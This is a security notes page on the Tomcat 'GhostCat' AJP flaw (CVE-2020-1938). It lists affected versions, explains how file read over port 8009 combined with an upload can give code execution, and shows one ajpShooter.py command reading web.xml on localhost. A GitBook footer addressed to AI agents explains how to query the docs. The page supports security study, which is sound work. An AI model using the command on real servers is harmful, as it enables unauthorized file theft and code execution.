> For the complete documentation index, see [llms.txt](https://0xpthree.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xpthree.gitbook.io/notes/exploits-pocs/apache/tomcat-cve-2020-1938-cve-2020-10487.md).

# Tomcat - CVE-2020-1938 / CVE-2020-10487

Also known as <mark style="color:red;">**GhostCat**</mark>.

#### Affected Versions and Fixed Version \[1]

| Apache Version  | Affected Release Versions | Fixed Version |
| --------------- | :-----------------------: | ------------: |
| Apache Tomcat 9 |      9.0.30 and below     |        9.0.31 |
| Apache Tomcat 8 |      8.5.50 and below     |        8.5.51 |
| Apache Tomcat 7 |      7.0.99 and below     |       7.0.100 |

The vulnerability exists when the conditions of <mark style="color:red;">**RCE**</mark> are met:

Web applications **need to allow files to be uploaded** and stored in web applications. Otherwise, attackers will have to **control the content of web applications** in some way. This situation, together with the ability to **process files as JSPS** (through vulnerabilities), will make rce possible.

1. Through ghostcat vulnerability, an attacker can read any file in the webapp directory deployed under Tomcat by using the AJP connection which is usually found on port 8009.
2. At the same time, if this application has upload function in the website service, the attacker can also upload a malicious file containing JSP code to the server (upload file can be any type, image, plain text file, etc.), and then use ghostcat to include the file, so as to achieve the harm of code execution.

The script [**ajpShooter.py**](https://github.com/00theway/Ghostcat-CNVD-2020-10487) can be used for RCE.

```bash
$ python3 ajpShooter.py http://127.0.0.1:8080/demo 8009 /WEB-INF/web.xml read

       _    _         __ _                 _
      /_\  (_)_ __   / _\ |__   ___   ___ | |_ ___ _ __
     //_\\ | | '_ \  \ \| '_ \ / _ \ / _ \| __/ _ \ '__|
    /  _  \| | |_) | _\ \ | | | (_) | (_) | ||  __/ |
    \_/ \_// | .__/  \__/_| |_|\___/ \___/ \__\___|_|
         |__/|_|
                                                00theway,just for test
                                            
[<] 200 OK
[... snip ...]
<?xml version"1.0" encoding="UTF-8"?>
...
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://0xpthree.gitbook.io/notes/exploits-pocs/apache/tomcat-cve-2020-1938-cve-2020-10487.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
